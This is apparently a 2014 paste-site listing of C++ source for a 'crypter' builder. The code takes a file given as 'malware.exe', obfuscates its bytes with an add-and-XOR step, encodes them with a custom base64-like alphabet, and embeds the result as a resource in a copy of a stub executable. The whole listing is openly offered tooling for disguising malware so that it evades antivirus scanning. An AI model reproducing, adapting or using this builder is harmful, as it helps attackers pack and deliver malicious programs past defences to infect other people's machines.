C++ Crypter Builder Source

SUBMITTED BY: Guest

DATE: July 5, 2014, 7:55 a.m.

FORMAT: C++

SIZE: 4.8 kB

Raw Download

HITS: 853

Report
  1. #pragma warning(disable: 4244)
  3. #include <Windows.h>
  4. #include <iostream>
  7. static char encoding_table[] =
  8. {
  9. '=', 'w', 'e', 'r', 't', 'y', 'u', 'i',
  10. 'o', 'p', 'a', 's', 'd', 'f', 'g', 'h',
  11. '-', 'k', 'l', 'z', 'x', 'c', 'v', 'b',
  12. 'n', 'm', 'Q', 'W', 'E', 'R', 'T', 'Y',
  13. '<', 'I', 'O', 'P', 'A', 'S', 'D', 'F',
  14. 'G', 'H', 'J', '/', 'L', 'Z', '@', 'C',
  15. 'V', 'B', 'N', 'M', '9', '8', '7', '6',
  16. '5', '4', '3', '2', '1', '0', 'X', 'j'
  17. };
  19. static DWORD mod_table[] = { 0, 2, 1 };
  22. char *mEncode(const byte *data, DWORD input_length, DWORD *output_length)
  23. {
  25. char *encoded_data;
  26. DWORD i, j;
  28. *output_length = 4 * ((input_length + 2) / 3);
  30. encoded_data = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, *output_length);
  32. if (encoded_data == NULL)
  33. {
  34. return NULL;
  35. }
  37. for (i = 0, j = 0; i < input_length;)
  38. {
  39. __int32 octet_a, octet_b, octet_c, triple;
  41. octet_a = i < input_length ? (BYTE)data[i++] : 0;
  42. octet_b = i < input_length ? (BYTE)data[i++] : 0;
  43. octet_c = i < input_length ? (BYTE)data[i++] : 0;
  45. triple = (octet_a << 0x10) + (octet_b << 0x08) + octet_c;
  47. encoded_data[j++] = encoding_table[(triple >> 3 * 6) & 0x3F];
  48. encoded_data[j++] = encoding_table[(triple >> 2 * 6) & 0x3F];
  49. encoded_data[j++] = encoding_table[(triple >> 1 * 6) & 0x3F];
  50. encoded_data[j++] = encoding_table[(triple >> 0 * 6) & 0x3F];
  52. }
  54. for (i = 0; i < mod_table[input_length % 3]; i++)
  55. {
  56. encoded_data[*output_length - 1 - i] = '#';
  57. }
  59. return encoded_data;
  60. }
  62. void Encode(byte *Data, DWORD Key, DWORD Size)
  63. {
  64. for(DWORD i = 0; i < Size;i++)
  65. {
  66. Data[i] += Key;
  67. Data[i] ^= Key;
  68. }
  69. }
  71. int main(int argc, char **argv)
  72. {
  74. std::cout << "Cpp Crypter example made by -Petrichor";
  76. if(argc != 2)
  77. {
  78. std::cout << "\nUsage: " << argv[0] << " malware.exe";
  79. return 1;
  80. }
  82. HANDLE ReadHandle = CreateFile(argv[1], GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  84. if(ReadHandle == INVALID_HANDLE_VALUE)
  85. {
  86. std::cout << "\nCouldn't read the file. Make sure it exists. Best way is to drag and drop.";
  87. return 1;
  88. }
  90. DWORD inputSize = GetFileSize(ReadHandle, NULL);
  92. if(inputSize == INVALID_FILE_SIZE)
  93. {
  94. std::cout << "\nCouldn't get the file size.";
  95. CloseHandle(ReadHandle);
  96. return 1;
  97. }
  99. byte *inputData = static_cast<PBYTE>(HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, inputSize));
  101. if(inputData == NULL)
  102. {
  103. std::cout << "\nNot enough memory.";
  104. CloseHandle(ReadHandle);
  105. return 1;
  106. }
  108. DWORD check = 0;
  110. if(!ReadFile(ReadHandle, inputData, inputSize, &check, NULL) || check != inputSize)
  111. {
  112. std::cout << "\nCouldn't read the file bytes or amount of read bytes is not correct.";
  113. CloseHandle(ReadHandle);
  115. if(inputData != NULL)
  116. {
  117. HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, inputData);
  118. }
  120. return 1;
  121. }
  124. Encode(inputData, 1337, inputSize);
  126. DWORD Encodedlen = 0;
  128. char *Encoded = mEncode(inputData, inputSize, &Encodedlen);
  130. if(Encodedlen == 0 || Encodedlen != 4 * ((inputSize + 2) / 3))
  131. {
  132. std::cout << "Something went wrong while encrypting the data";
  134. CloseHandle(ReadHandle);
  136. if(inputData != NULL)
  137. {
  138. HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, inputData);
  139. }
  140. else if(Encoded != NULL)
  141. {
  142. HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, Encoded);
  143. }
  145. return 1;
  146. }
  148. if(!CopyFileA("Stub.exe", "Done.exe", FALSE))
  149. {
  150. std::cout << "Stub is missing.";
  152. CloseHandle(ReadHandle);
  154. if(inputData != NULL)
  155. {
  156. HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, inputData);
  157. }
  158. else if(Encoded != NULL)
  159. {
  160. HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, Encoded);
  161. }
  163. return 1;
  165. }
  168. HANDLE hResource = BeginUpdateResourceA("Done.exe", NULL);
  170. UpdateResourceA(hResource, RT_RCDATA, "Strings", LANG_NEUTRAL, Encoded, Encodedlen);
  172. EndUpdateResourceW(hResource, NULL);
  174. CloseHandle(ReadHandle);
  176. if(inputData != NULL)
  177. {
  178. HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, inputData);
  179. }
  180. else if(Encoded != NULL)
  181. {
  182. HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, Encoded);
  183. }
  185. std::cout << "\nAll done.";
  187. return 0;
  188. }
comments powered by Disqus